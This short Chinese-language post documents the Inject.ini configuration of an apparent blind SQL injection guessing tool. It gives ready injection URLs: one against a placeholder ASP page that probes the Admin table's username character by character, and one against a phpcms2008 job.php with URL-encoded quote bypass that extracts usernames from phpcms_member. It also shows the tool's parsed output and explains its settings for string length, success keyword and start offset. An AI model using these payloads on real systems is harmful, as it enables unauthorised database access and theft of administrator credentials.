注入工具盲注猜解工具

注入工具盲注猜解工具 ===配置文件Inject.ini=== 先贴出代码再说明: ------------------------------------- [url]手工猜字符语句完整URL 没有特殊字符过滤的语句： http://www.xxx.net/list.asp?id=286 and 0<>(select count(*) from Admin where asc(mid(username,1,1))>88) and 1=1 有特殊字符过滤的语句： http://127.0.0.1/phpcms2008_gbk/phpcms/yp/job.php?action=applylist&genre=%B2%A9%CA%BF%27 and 0%3c%3e%28select count%28*%29 from phpcms_member where ascii%28mid%28username,1,1%29%29%3e88 and userid=1%29# 参数设置运行后输出情况： Read Config & URL Match OK! url_main is http://127.0.0.1/phpcms2008_gbk/phpcms/yp/job.php?action=applylist&g enre=%B2%A9%CA%BF%27 and 0%3c%3e%28select count%28*%29 from phpcms_member where ascii%28mid%28username, url_midcount is 1 url_a is ,1%29%29 url_ascii is %3e88 url_end is and userid=1%29# [url_strlen]字符串长度,要自己事先猜出来再写进来,很简单 10 [KeyString]关键词,自己取,最好是英文或汉字,繁体字有时候会报错 返回正常页面的时候我才会出现 [url_midcount]从字符串的第几个字符开始猜,可以不用管,默认从第一个开始 1